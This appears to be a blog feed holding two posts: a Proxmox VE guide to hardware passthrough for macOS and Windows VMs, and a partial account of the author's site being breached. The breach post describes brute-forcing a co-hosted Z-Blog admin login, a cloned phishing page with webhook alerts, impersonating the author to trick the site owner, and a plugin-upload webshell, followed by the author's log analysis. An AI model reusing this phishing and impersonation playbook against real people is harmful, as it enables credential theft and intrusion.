细心的小伙伴会发现,目前通过 PVE 的 Web 界面操作我们的键鼠实际上是有延迟的,毕竟还是走得 VNC 网络传输协议,为了更好的体验,我们可以分配一个键鼠直通到 PVE 虚拟机中:

PVE 支持几种 USB 设备添加,下面简单的挑着解释一下:

  • 使用 USB 供应商/设备 ID
    • 根据你的设备名称添加
    • 就算你的 USB 拔掉换其他接口也可以正常直通到虚拟机的
  • 使用 USB 端口
    • 根据 USB 物理端口添加
    • 你这个接口插鼠标,那么鼠标就直通到虚拟机了
    • 根据实际情况勾选,USB3 是USB2 和 USB3 的合体,所以如果你的 物理端口是 USB 3 请勾选 USB 3

因为国光我不怎么拔插这些 USB 设备,所以我更偏向于后者,使用 USB 端口:

开启 IOMMU

接下来我们要准备将其他硬件直通到 PVE 虚拟机了,要实现这个功能就得开启 IOMMU 了,并关闭 PVE 物理机显卡占用,直接编辑配置下 PVE 的 GRUB 即可:

nano /etc/default/grub

将默认的GRUB_CMDLINE_LINUX_DEFAULT="quiet" 根据自己的 CPU 替换成如下内容即可:

  • intel CPU
GRUB_CMDLINE_LINUX_DEFAULT="quiet intel_iommu=on iommu=pt pcie_acs_override=downstream,multifunction nofb textonly nomodeset video=efifb:off"
  • AMD CPU
GRUB_CMDLINE_LINUX_DEFAULT="quiet amd_iommu=on iommu=pt pcie_acs_override=downstream,multifunction nofb textonly nomodeset video=efifb:off"

编辑完成后,更新一下 grub

update-grub

更新完成后重启 PVE 物理机,可以看到我们的物理机确实已经不占用显卡了,开机的界面都变了:

此时已经无法在物理机上操作 PVE 了(不过我们本来也用不到),因为之前安装配置静态 IP 的原因,所以我们依然可以通过 Web 端来正常管理我们的 PVE 虚拟机。

关掉 VMware 兼容显卡

关掉显卡后的,我们就不可以通过 Web 界面走 VNC 协议来操作 PVE 虚拟机了:

所以下面第需要将物理显卡直通到虚拟机了。

直通 RX 6600XT

添加防黑屏参数

因为 OC 引导黑苹果的话,使用 RX5500/5600/5700/6600/6800/6900 新的免驱系列显卡启动过程中会黑屏,所以先需要编辑我们的 OC 配置文件,在启动项添加 agdpmod=pikera 参数:

保存配置文件后关闭 PVE 黑苹果虚拟机。

添加 RX 6600XT

添加 PCI 设备,找到我们的 RX 6600XT,这里没有显示出来,但是 Navi 23 确实是这个显卡的架构:

然后勾选全部选项:

直通效果

RX 6600XT 直通很简单,此时已经可以丝滑的像物理机那样体验 macOS 了:

显卡工作了,感觉虚拟机瞬间流畅多了:

不过从图上可以看出来,目前内存这块还是未知的,速率也看不到,不要慌,我们后面来自定义内存一下就行了。

直通 RX 470

5000/6000 系列直通很顺利哎,试试看能不能再直通一个 RX 470 显卡,因为已经有 6600XT 了,所以不勾选「主 GPU」:

然后直接开机,居然也这么顺利:

直通 UHD 核显

核显不可以像上面独显那样直接就直通过去,直接就是模仿上述操作那样,直通过去的话,实际上核显并不能真正的工作。那么在 macOS 下怎么测试核显是否正常工作呢?国光我是使用随航测试的,因为随航很吃核显性能,如果随航都流畅丝滑工作的话,那么核显一定也是 OK 的。

添加 VFIO 模块

PVE shell 环境下操作:

echo "vfio" >> /etc/modulesecho "vfio_iommu_type1" >> /etc/modulesecho "vfio_pci" >> /etc/modulesecho "vfio_virqfd" >> /etc/modules

屏蔽核显驱动

接着添加 intel 核显模块(驱动)黑名单,即让 GPU 设备在下次系统启动之后不使用这些驱动,把设备腾出来给vfio驱动用:

echo "blacklist snd_hda_intel" >> /etc/modprobe.d/pve-blacklist.confecho "blacklist snd_hda_codec_hdmi" >> /etc/modprobe.d/pve-blacklist.confecho "blacklist i915" >> /etc/modprobe.d/pve-blacklist.conf

然后更新内核重启机器:

update-initramfs -ureboot

检查 VFIO 模块

检查之前配置的 VFIO 模块是否正常加载:

lsmod | grep vfio

上图这样表示是成功加载了的。

查找核显设备 ID

lspci -nn | grep Intel

从上图可以查询到:

  • 核显的硬件 ID:8086:9bc5
  • 核显自带的音频硬件 ID:8086:06c8

编辑 vfio.conf

将上述查询到的两个 ID 添加到 vfio.conf 文件中:

echo "options vfio-pci ids=8086:9bc5,8086:06c8" >> /etc/modprobe.d/vfio.conf

添加 PCI 设备

上述配置完成后,我们就可以再 PVE Web 界面里面将核显添加到 PVE 黑苹果虚拟机下了:

测试了 N 次,发现只需要勾选「所有功能」即可:

EFI 配置优化

因为这套 PVE 的 OC EFI 文件配置的默认机型是 iMac Pro1,1 这种是专门为无核显优化的,所以需要我们先将机型改为 iMac 20,1 这种更接近我们的实际硬件配置:

使用 Hackintool 工具拷贝出核显的设备地址:

然后使用 OCC 里面注入你的核显的显示 ID,玩过黑苹果的人可能会注入无头 ID (仅计算 ID),经过国光我多次测试,如果注入仅计算 ID 的话,那么此时的核显必然无法使用随航,具体原因不详:

另外一个测试就是多独显+核显的情况下,核显也无法正常工作,但是单个独显的情况下就是正常的,最终核显成功随航的效果如下:

直通博通免驱网卡

直通 WiFi

因为我的 BCM94360CD 插的也是 PCIE 接口,所以我们可以在 PCI 设备里面找到我们的无线网卡:

也给他添加到虚拟机中:

直通蓝牙

要想实现免驱网卡的所有功能,光有 WiFi 是不够的,蓝牙也得需要直通进去,蓝牙走的是 USB 协议,所以我们可以在 USB 设备中添加我们的蓝牙设备:

记得取消 USB3 勾选:

直通效果

WiFi、蓝牙 隔空投送均可以正常工作:

自定义内存

默认的内存

默认的内存为单条 16GB 内存,而且速度显示是未知的,看起来好奇怪哦:

OC 自定义内存

使用 OC 简单操作一下,将这个 16GB 内存自定义为 4 个 4GB 内存:

自定义内存效果

改完重启看看效果,舒服了,看上去和白苹果一样:

仿冒 W6600X 显卡

macOS 12.3 之后,非苹果自家出的卡性能多多少少都大打折扣,不过兵来将挡水来土掩,我们可以把我们的 RX 6600XT 仿冒成 白苹果的 W6600X 专业卡来提高性能,操作也不复杂,详细可见下方 OC 的显卡属性配置:

下面的仿冒配置参数供网友参考复制:

<key>PciRoot(以你的实际显卡路径为准)</key><dict>  <key>@0,name</key>  <string>ATY,Henbury</string>  <key>@1,name</key>  <string>ATY,Henbury</string>  <key>@2,name</key>  <string>ATY,Henbury</string>  <key>@3,name</key>  <string>ATY,Henbury</string>  <key>ATY,DeviceName</key>  <string>W6600X</string>  <key>ATY,EFIVersion</key>  <string>01.01.270</string>  <key>ATY,FamilyName</key>  <string>Radeon Pro</string>  <key>device_type</key>  <string>ATY,HenburyParent</string>  <key>model</key>  <string>AMD Radeon RRO W6600X</string>  <key>name</key>  <string>ATY,Henbury</string></dict>

最后的效果如下:

添加音频设备

其实音频设备不添加的话也没有关系,默认我可以直通的两个独显是可以通过 DP/HDMI 传输音频数据的,也可以通过蓝牙来传输音频数据:

或者使用下图中这种 USB 声卡也是可以的:

UBS 设备直通到虚拟机前面也说过了,非常方便简单:

最后的效果如下:

优化引导界面

提高显示清晰度

默认的 EFI 引导的分辨率为 1920x1080@30,这样在 4k 显示器上图标就很糊,很不优雅,我们只需要将控制台分辨率调整为:Max,然后将 UIScale 改为 2 就可以在 4k 显示器上完美输出了:

修改引导时间

默认的 EFI 引导的等待时间为0,这意味着不人为回车干预的话,会一直停留在 OC 的引导界面,这样不符合 PVE 的 风格,我们可以手动改一下等待时间为 5 秒,然后顺便取消一下平时不怎么使用的工具:

升级 OC 并精简

可以看出这个项目的默认 OC 还是很混乱的,这不能忍:

给他升级一下最新的 OC 0.7.9 然后精简一下吧,下面是国光我精简优化的思路:

  • ACPI 设置

  • 只留几个实际加载的 SSDT:DTGP、EC、EHCI、PLUG

  • 删除「删除」和「补丁」中没有加载的选项

  • 内核设置

    • 修改仿冒 CPU 数据
      • 不清楚作者的这个数据哪来的,所以我换成自己比较熟悉的数据了
      • Cpuid1Data:55060A00 00000000 00000000 00000000
      • Cpuid1Mask:FFFFFF00 00000000 00000000 00000000
    • 只留下面 3 个必备的 Kexts 并保持最新:
      • Liu.kext
      • WhateverGreen.kext
      • USBPorts.kext

    其他优化的话上文中都差不多提到了,目前感觉就上述两个部分需要调整的最多。

最终的优化效果

升级最新的 OC 0.7.9 版本,优化了 4k 屏幕显示,去除无用的引导项目,默认 5 秒自动进入 macOS 系统:

PVE 黑果 EFI 分享

本次优化后的 OpenCoren 引导配置文件也开源了,感兴趣的朋友可以去 Github 查收

Github 项目地址:https://github.com/sqlsec/PVE-OpenCore

PVE 黑果完美度

CPU 跑分

i7-10700 分配 4 核 CPU 的情况下,跑分情况,单核跑分:多核跑分:

单核跑分和物理黑苹果跑分对比损耗大概 **4%**:多核跑分因为我们直接砍了一半核心的原因,所以多核跑分也下降了近 1 半。

核显跑分

UHD 630 核显直通的跑分情况,OpenCL 跑分: 5043 Metal 跑分:4863,和物理核显相比损耗大概:3%

RX 6600XT 跑分

RX 6600XT 直通并仿冒白苹果 W6600X 的跑分情况,OpenCL 跑分:69022 Metal 跑分:90245 和物理独显相比损耗大概:3%

RX 470 跑分

RX 470 直通的跑分情况,OpenCL 跑分: 35310 Metal 跑分:40967,这个 RX 470 好像和物理独显相比没有损坏,五五开了应该。

隔空投送与接力

无线模式随航

这个之前直通核显的时候测试过了,随航也是正常使用的:

三码相关

三码正常的话,信息、iCloud、查找、应用商店这些应该也都很丝滑:

屏幕共享

macOS 12 新功能:隔空播放接收器,iOS、iPad OS 也可以直接投屏到 PVE 黑苹果中:

通用控制

macOS 12.3 新功能通用控制也是正常使用的,可以直接 Macbook Pro、iMac、iPad 共享一套键鼠:

PVE 黑苹果坑点

说了这么多,肯定又小伙伴要跃跃欲试了,但是 PVE 黑苹果真的没有缺点了吗?当然不是,有!而且还不少。

手贱改错 EFI

假如你 OC 不熟悉不小心改错了本地硬盘的 EFI(没错 就我自己了),这个时候不要慌,我们重新编辑配置文件:

nano /etc/pve/qemu-server/100.conf 

将之前分离的 OpenCore ISO 光盘重新添加回来即可:

ide0: local:iso/OpenCore-v16.iso,cache=unsafe

然后在选项里面调整一下引导顺序,将 OpenCore 光盘移动到第一位:

这样应该可以成功进系统,然后直接纠正之前改错的 EFI 就行了。

或者你直接准备一个物理 USB U盘,里面放着自己对应的 OC EFI,直接添加物理 USB 设备引导也是完全 OK 的,这个修复思路和物理黑苹果一样。

系统更新黑屏

系统更新的时候显示器会黑屏很长很长时间,这个时候你可能因为更新挂了,但是添加虚拟显示通过 PVE 来看又发现是正常的:

耐心等待系统更新完成即可,不能急躁。

Intel PG 不工作

Intel Power Gadget 无法正常工作,CPU 温度、频率以及核显频率都无法查看:

不过我们可以借助第三方的工具,比如 iStat Menus 这种来看 CPU 频率:

Video Proc 闪退

经典的双硬解查看软件,Video Proc 闪退:

这个是查看双硬解码的,不过从 Hackintool 结果来看硬解应该都是正常的:

温度传感器异常

第三方工具均无法正常识别各项传感器参数:

核显不能仅计算

这个实际上上文中直通核显的部分提到过,这里再啰嗦一下。实际上对于黑苹果来说,核显仅计算模式是最完美的,也最符合白苹果 iMac 的调度策略的,但是 PVE 黑苹果下如果开启仅计算的话,核显工作就不正常,表现为随航无法显示画面,所以只能给开启核显输出的正常 ID 了:

Hackintool 平台 ID

虽然核显也驱动了,但是平台 ID 依然是未知的:

不可以睡眠唤醒

虽然这个有点大可不必,都 PVE 了,谁还在意睡眠唤醒呀,但是还是要说一下,PVE 确实无法正常睡眠唤醒。点击睡眠后,在 PVE 控制台可以看到 PVE 虚拟机处于暂停的状态:

得我们手动点击「再继续」才可以,但是大概率会出现黑屏的情况,无法正常继续,所以这块就酱吧,不搞这么细了。不过手动在 PVE 控制台中暂停你的 PVE 黑苹果虚拟机是完全 OK 的,此时你的黑苹果虚拟机画面会卡主不动,真的和传统的虚拟机一样。

PVE 黑苹果总结

总的来说 PVE 黑苹果难度蛮高的,除了要求你有 Linux 基础之外,最好还得懂黑苹果技术,否则优化对你来说是一件很困难的事情,当然默认的 PVE 开源项目也可以直接使用,但是能用和用的舒服之间的差距还是蛮大的。

下面简单总结下 PVE 黑苹果优缺点

  • 优点

    • 可以多虚拟机同时运行,提高硬件利用率
    • 也可以通过模板快速创建管理多个虚拟机
    • 不需要从 0 开始定制 EFI,只需要简单优化
    • 可以灵活添加各种硬件,按需求添加
    • 基本上性能没有损耗,足够满足日常生产力需求
  • 缺点

    • 安装难度高,系统性参考资料不多
    • 黑苹果有些细节还不够完美,部分软件无法正常使用

PVE Windows 10

实际上最难的就是 macOS 安装了,PVE 安装 Windows 10 对比一下简直就是小菜一碟了。

virtio ISO 下载

我们虚拟机创建的是硬盘,但是 Windows 默认无法识别,需要我们先手动安装了驱动才能识别:

所以需要我们先额外给虚拟机挂载一个专门的 ISO 镜像包,这个镜像包里包含有一系列可能需要的驱动。

官方镜像的下载地址为:https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/archive-virtio/virtio-win-0.1.215-2/virtio-win-0.1.215.iso

镜像上传

到镜像库先上传我们的 Windows 10 镜像和上面下载的 virtio 镜像:

创建虚拟机

这个没啥可说的,网上很多,我就不一一贴图了,直接看我最后的硬件配置吧:

可以看到添加了两个 ISO 光盘,为了方便我这里还直通了 1 个 USB 键盘。

安装 Windows 10

将 Windows 10 安装盘优先引导启动:

然后很顺利的进入安装界面:

我们会卡在下面这一步:

选择光盘里面的驱动加载即可:

然后安装一下这个驱动:

后没有啥难点了,正常安装就行了:

驱动更新

Windows 10 老传统了,安装完先更新一波:

但是这样更新远远不够,我们查看设备管理器依然发现了有感叹号的设备,解决方法很简单,依然从之前的 virtio ISO 光盘里面搜索安装驱动就行了:

直通独显与 USB

移除之前的两个 ISO 光盘,然后将 RX 6600XT 和键鼠直通到 Windows 10 虚拟机里面:

然后去 AMD 官网下载对应的显卡驱动即可:https://www.amd.com/zh-hans/support

独显直通效果

哇舒服了,这个 4k 高刷显示器在 Windows 下终于跑满了,之前在 macOS 下最高只能跑 100Hz:

PVE 配置优化

PVE 7.X 换源

# 注释企业源echo "#deb https://enterprise.proxmox.com/debian/pve bullseye pve-enterprise" > /etc/apt/sources.list.d/pve-enterprise.list# PVE 软件源更换wget https://mirrors.ustc.edu.cn/proxmox/debian/proxmox-release-bullseye.gpg -O /etc/apt/trusted.gpg.d/proxmox-release-bullseye.gpgecho "deb https://mirrors.ustc.edu.cn/proxmox/debian/pve bullseye pve-no-subscription" > /etc/apt/sources.list.d/pve-no-subscription.listecho "deb https://mirrors.ustc.edu.cn/proxmox/debian/ceph-pacific bullseye main" > /etc/apt/sources.list.d/ceph.listsed -i.bak "s#http://download.proxmox.com/debian#https://mirrors.ustc.edu.cn/proxmox/debian#g" /usr/share/perl5/PVE/CLI/pveceph.pm# Debian 系统源更换sed -i.bak "s#ftp.debian.org/debian#mirrors.aliyun.com/debian#g" /etc/apt/sources.listsed -i "s#security.debian.org#mirrors.aliyun.com/debian-security#g" /etc/apt/sources.listecho "deb http://download.proxmox.com/debian/pve bullseye pve-no-subscription" >>  /etc/apt/sources.list# 更新测试一下apt update

删除订阅弹窗

每次登录看到这个是不是有点烦人:

执行如下命令即可删除:

# 修改 JS 源码sed -Ezi.bak "s/(Ext.Msg.show\(\{\s+title: gettext\('No valid sub)/void\(\{ \/\/\1/g" /usr/share/javascript/proxmox-widget-toolkit/proxmoxlib.js# 重启 PVE 服务systemctl restart pveproxy.service

执行完成后,浏览器强制刷新缓存一下就可以了。

PVE 温度传感器

默认的样式

PVE 默认只可以看到下面这些基本信息,但是看不到具体的温度:

这都能忍,赶紧来安装配置一下。

安装 lm-sensors

lm-sensors 用于 CPU 以及主板温度检测,安装起来也很简单:

apt install lm-sensors -y

安装完成后就可以在命令下查看 CPU 以及主板温度了:

安装 hddtemp

hddtemp 用于 硬盘温度检测,安装起来也很简单:

apt install hddtemp -y

安装完成查看硬盘温度:

root@pve:~# hddtemp /dev/sd?/dev/sda: WDC WD10EZEX-08M2NA0: 30°C/dev/sdb: ST2000DM006: 26°C

因为我们后面需要放到 Web 界面显示,所以需要改这个软件 Web 端的权限:

chmod +s /usr/sbin/hddtemp

编辑后端服务文件

vim /usr/share/perl5/PVE/API2/Nodes.pm

搜索 pveversion 位置,加入下面 2 行代码:

$res->{cpu_temperatures} = `sensors`;  # 添加此行以获取 CPU 与主板温度$res->{hdd_temperatures} = `hddtemp /dev/sd?`;  # 添加此行以获取硬盘温度

最终效果如下:

编辑前端 JS 文件

vim /usr/share/pve-manager/js/pvemanagerlib.js

搜索到 widget.pveNodeStatus 位置,修改 height: 300,每多一个硬盘,那么这个数据得增加 20,大家这里可以一个个尝试,我暂定修改为:400,最终效果如下:

继续搜索 pveversion ,添加 2 个item,根据自己上面显示的 CPU 核心数自行修改,我的是 8 核心,改成如下:

{  itemId: 'cpu_temperatures',  colspan: 2,  printBar: false,  title: gettext('CPU温度'),  textField: 'cpu_temperatures',  renderer:function(value){  const c0 = value.match(/Core 0.*?\+([\d\.]+)Â/)[1];  const c1 = value.match(/Core 1.*?\+([\d\.]+)Â/)[1];    const c2 = value.match(/Core 2.*?\+([\d\.]+)Â/)[1];    const c3 = value.match(/Core 3.*?\+([\d\.]+)Â/)[1];    const c4 = value.match(/Core 4.*?\+([\d\.]+)Â/)[1];    const c5 = value.match(/Core 5.*?\+([\d\.]+)Â/)[1];    const c6 = value.match(/Core 6.*?\+([\d\.]+)Â/)[1];    const c7 = value.match(/Core 7.*?\+([\d\.]+)Â/)[1];    return `Core 0: ${c0} °C | Core 1: ${c1} °C | Core 2: ${c2} °C | Core 3: ${c3} °C | Core 4: ${c4} °C | Core 5: ${c5} °C | Core 6: ${c6} °C | Core 7: ${c7} °C`  }},{itemId: 'hdd-temperatures',colspan: 2,printBar: false,title: gettext('硬盘温度'),textField: 'hdd_temperatures',renderer: function(value) {    value = value.replace(/Â/g, '');    return value.replace(/\n/g, '<br>')  }}

最终效果如下:

最后保存文件,虽然代码看上去缩进不太对啊,还好我不是强迫症,引用罗老师那句话:又不是不能用!

重启面板服务

systemctl restart pveproxy

执行完成后,浏览器强制刷新缓存一下就可以了。

最终效果如下:

细心的小伙伴发现貌似还是少了 NVME 硬盘温度,可以不愧是你,其实之前通过 sensors 命令已经可以看到 NVME 硬盘温度了,那么如何让 NVME 硬盘温度在网页上显示呢?其实原理还是差不多的,不清楚大家为啥没研究这个,国光我也不想折腾了,前端水平本身就不太行,而且我也不是强迫症,就酱了,拜拜。

最终的成品

实际上 PVE 搞起来的话,只要键鼠、显示器足够,同时运行 Linux、macOS、Windows 是非常容易的事情,但是有 macOS 了谁还要 Linux?(拉仇恨),所以下面就演示一下 Windows 10 和 macOS 同时工作的最终形态:

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>好像有一段时间没有怎么搞技术了,博客也断更了有一段时间,所以得调整下自己了。一般这个时候我就喜欢收拾家庭卫生,搞搞电脑系统配置,有善始者实繁,好好立 Flag,就好像这些准备好之后真的会认真搞技术一样。具体可以坚持多久我也不清楚,总之先做着看看吧,所以这篇 PVE 虚拟化生产环境配置的文章就此诞生了。</p>
关于我博客又被黑这件事 https://www.sqlsec.com/2022/02/hack.html 2022-02-08T03:54:19.000Z 2024-05-23T00:06:18.000Z

回想起上次博客被黑,还是在上次,不禁令人感慨。细心的网友发现我这里用了“又”字,确实,我博客在几年前被黑过一次,和这次有点异曲同工,但这次更加精彩一点,下面容国光我一一说来。

前言

众所周知,作为一名信息安全从业者,只有我们黑别人的份,别人要是想黑掉我们的话,难度还是很高的。针对黑客的直接攻击比较有效的方法就是使用 0day 了,可以是系统级别的 0day 也可以是浏览器级别的 0day,这样成功率会比较高,除此之外想不到其他可以针对黑客的有效攻击了。

但是细心的网友肯定会发现了,前面我使用了“直接”这个词,没错, 你猜到了,我博客被黑的两次都是被间接攻击拿下的,第一次是 C 段,这一次是旁站。下面简单回顾下第一次被黑的经过。

第一次博客被挂黑客大约在 17 年左右,也是群里的师傅“友情测试”的。那个时候我的博客域名还没有备案,没法使用正规的阿里云服务器,所以只能使用不正规的香港 VPS,香港的 VPS 同 C 段下,很多黄赌毒的网站,十分脆弱不堪,那个时候使用“椰树”这种批量一键渗透攻击,都可以轻松 getshell 几个网站,然后那个师傅直接在 C 段的服务器上使用了 NetFuke 来进行 C 段 ARP 嗅探劫持:

然后所有访问我博客的流量都会被抓到黑客制作的“黑页”上面,第一次就是这样没了的。

插曲

国光我的博客坚持更新 5 年多了,树大招风,流量高的同时,我的博客也没少被攻击过,每天可以看到各种各样的爬虫、RSS 订阅或者扫描器的日志记录信息:

日均独立 IP 2k+ 个,单月独立 IP 8w+ 个:

因为经常看到各种 AWVS 日志,国光我一气之下写了一些特征页面来嘲讽这些只会用扫描器的脚本小子:

英文是直接谷歌翻译的,如果细心的网友发现语句不顺的话也不要吐槽 ,这又不是不能用?

除了经常被扫描器扫以外,DDOS 也是家常便饭了:

44G 算高了吗?当然不是:

总之博客一直多灾多难,国光我也睁一只眼闭一只眼,毕竟没有搞出啥太大的动静,直到今天被 Hexman Getshell 了才意识到问题的严重性。

主角

国光我是大一的时候认识的 Hexman 的,那个时候他还是一个高中生,技术很强,思路也灵活。后面他高考了就销声匿迹了一段时间,结果没想到居然考上了西南科技大学,没想到可以学业爱好两边都兼顾好:

Hexman 原本也有自己的博客,我们友链挂了很久了,后面因为一些 DDDD 的原因,没有博客了,不过我的友链还有它存在过的证明:

后面又发生了一些事情,总之 Hexman 和我如今是同事关系了,也是一名 Bytedancer,好了关于 Hexman 的事情就介绍到这儿了。

缘由

年前 Hexman 突然在我们的 RedTeam 百灵鸟 群里说要打群里师傅们的博客:

都怪群主装 B,我博客躺着中枪了:

没想到 Hexman 蹲一个月没开玩笑,真的从年前搞到了年后!果然功夫不负有心人呀。

说到 RedTeam 百灵鸟 百灵鸟网友们肯定比较陌生,不过也可以理解,我们这个团队确实比较低调,目前也没有啥成名作品,唯一一次被大家所知就是年前一次 CVE 污染测试,结果被很多安全 从业者喷了, Alphabug 还被网暴了,后面公众号已经公开道歉过了:

下面是原文:百灵鸟安全团队 - Alphanug:一封关于推送CVE情报污染事件致歉信

既然都说到这里了,肯定得宣传一下我们的百灵鸟团队了,我们团队成员来自国内许多安全厂商 - 阿里、字节跳动、奇安信、深信服、安恒等,拥有丰富的红队实战经验,平时一直很低调,没有啥作品,目前一个还算不错的作品是我们的 DNSLog 平台。

Fuzz.red 安全快速的Dns、Http、Rmi、Ldap Log平台 – Hacking for fun!

讲道理颜值还是不错的,感兴趣的安全从业者们可以自己试试看哦。最后丢一个我们公众号的二维码就差不多了:

建议安全从业者关注一下哦,期待我们新的作品。

复现

下面开始模拟 Hexman 的视角开始对 www.sqlsec.com 国光博客进行入侵,废话不多说,正文开始了。

信息收集

国光博客 www.sqlsec.com 从主站直接入侵难度确实很高,简单指纹收集一下,发现国光博客是 Hexo 纯静态博客,纯静态博客没有后台可言,基本上没有漏洞点。直接钓鱼国光吧,他又是一个安全从业者,基本上是不会上钩的,所以就看下旁站或者子域名情况吧。

因为国光博客没有直接挂 CDN 的缘故,很容易获取到真实 IP,借助 FoFa、shodan、Zoomeye 都可以快速查看旁站和子域名的情况:

柿子还得找软的捏,子域名感觉不太行,不如重点关注一下这个很突兀的域名:www.jsanhuan.cn

为啥这个网站会搭建在国光的服务器下面?简单 Fuzz 一下发现是用 Z-Blog 的 CMS 搭建的:

而且后台地址也轻易的暴露了出来:

https://www.jsanhuan.cn/zb_system/login.php

继续信息收集获取到了站长的一些信息:

Soga,这个网站应该就是国光搭建的,所以才会出现在国光的服务器上面。

攻击思路

信息收集差不多了,下面来理一下对这个网站的攻击思路:

  1. 收集整理历史上 Z-Blog 的相关漏洞 Poc 或者 Exp,分别进行测试
  2. 对 Z-Blog 后台进行字典爆破
  3. 对站长进行社工

传统思路

其中第一个方法比较传统,而且 Z-Blog 也不是那么大众,版本又是未知,根据国光的警惕性,也不可能用有漏洞的版本的,除非自己去下载最新的 Z-Blog 源码,自己来代码审计一下,不过这个审出来就是 0day 了,不去申请 CVE 或者 CNVD 编号的话就可惜了。

综上比较繁琐,暂且先不考虑。

爆破

实际上 Hexman 也尝试爆破过了,配合社工后的字典组合爆破的,不过没想到用户名压根不是 admin,23333:

既然上述两个方法都不太行的话,那么只能尝试社工钓鱼了。

基本社工

先上 TG 去红鼻子机器人那里简单搜索一下,发现信息还算可以:

虽然没有直接获取到密码等信息,但是最起码知道了手机号和姓名了,也还算不错了。

伪造假的登录页

既然这个网站是国光搭建的,所以网站管理员和国光肯定是认识的,但是钓鱼拿密码最直接的方式是让站长直接把密码再给你,当然这可能性不太高,所以我们得伪造一个假的一模一样的登录页面:

https://freeland-1252849447.file.myqcloud.com/index.html

因为无缘无故找站长会很奇怪,得搞一个理由,就是网站的序列号要过期了,需要重新激活:

页面仿真度这块是没得说的,站长粗心没有看域名的话,是可能会一不小心输入真实的密码的。

补充一个细节,这个钓鱼页面也考虑到到受害者故意输入错误的账号和密码了,有一个登录中转,只有真的是正确的密码才可以登陆,才可以被记录。

钓鱼页面细节

正常情况下管理员不会立即上钩,我们不能一直后台一直等着吧,所以得考虑使用飞书的 WebHook 机器人来上线通知一下,这样我们可以第一时间拿到管理员的密码:

安利一下,飞书确实是个不错的产品,下面是飞书机器人创建的一些细节信息:

当上线的时候直接进行消息提示:

下面是这个飞书机器人的主要代码细节:

邮件钓鱼

有钓鱼页面的话,直接尝试传统的邮件钓鱼的方法:

也许是站长不怎么看邮箱?或者安全意识比较高,一直都没有上钩!可恶啊~

伪造假身份

车到山前必有路,既然邮件钓鱼不行的话,我们不妨大胆一点,直接来伪造一下国光,头像资料啥的尽量和真的国光靠拢,下面是本次伪造的假的国光小号:

应该差不多了,希望站长的安全意识不要那么高。

钓鱼话术

通过上面的社工信息,加站长 QQ 好友很容易获得信任,成为好友的话也不要磨叽,直接开始话术吧:

钓鱼成功

钓鱼也并不是一帆顺风的,从 1 月 27 日年前开始钓鱼,直到年后才有了一点进展。 终于在某一天,这个田姓人员真的去登录钓鱼网站了:

后台已经实时获取到了对方的键盘记录:

飞书机器人这边也提示有鱼上钩了:

拿到用户名和密码,尝试去后台登录看看,一次成功,Bingo:

后台 getshell

可以看到 Z-Blog 官方项目:https://github.com/zblogcn/zblogphp

里面也嘲讽了一些安全初学者:

致某些安全初学者:在管理员权限下,通过后台主题管理/插件管理上传 PHP 文件不是漏洞!自从 2017 年起,CNVD 已经给我们报了至少五次相关“漏洞”(如 CNVD-2019-12772、CNVD-2019-43601)。请不要用这种东西浪费我们和 CNVD 的时间,同时通过刷低水平“漏洞”骗到的 CNVD 编号对你的简历没有任何帮助。

官方暗示很明显了,后台主题管理/插件管理上传可以通过上传 getshell,那么就根据这个思路写一个 ZBA 插件吧。

ZBA 插件需要满足一定的格式要求:

官方文档也很详细,根据官方插件的来就行了:

本次 zba 插件编写好直接上传就可以 getshell 了:

废话不多说,直接上哥斯拉连接:

然后传一个 txt 证明自己来过:

https://www.sqlsec.com/1.txt

最后再去群里炫耀一下任务完成:

复盘

不得不说,没想到 Hexman 是这样的人,真的为了日我的站,从年前搞到年后,不愧是小黑屋锻炼过的男人:

1 月 27 日的时候还和他讨论了技术问题:

前脚刚讨论完,后脚就开始日我的博客,呜呜呜

本次复盘差不多结束了,现在该轮到我这边溯源和安全加固一下了。

溯源分析

既然被攻击了,肯定第一时间得看日志分析一下黑客的攻击行为吧,直接日志分析走起来。根据时间段筛选日志,也不是很多,不到 2w 行日志。

初步探测时间

时间范围: 2022-01-25 15:10 ,根据 UA 特征为 macOS,而且配合访问 IP 应该就是北京字节跳动的出口 IP:

可以看到对网站先进行踩点测试:

在短时间内访问了如下目录,很明显的信息收集行为:

  • GET /admin
  • GET /zb_system/login.php
  • GET /robots.txt

探测的不多,估计先谷歌看看这个 CMS 有啥漏洞去了,或者去生成社工字典去了。

近 1w 次密码爆破

换了另一个出口 IP(北京 联通)爆破了 9233 次:

可惜没有成功:

钓鱼成功第一次登录

2022-02-08 09:16 ,一大早 Hexman 发现有鱼上钩了,但是估计还没有起床,直接使用了 Android 11; M2012K11AC 手机来访问我的网站,IP 为被联通:

可以看到新建文章的 URL,说明应该进了后台了,再验证一下机型:

我记得 Hexman 用的是小米,机型也无限接近,这个应该就是 Hexman 本人了。

尝试附件上传 getshell

2022-02-08 10:46 ,Hexman 应该到公司了,然后第一件事情就是迫不及待的打开电脑来登录网站后台,使用的是北京联通出口 IP:

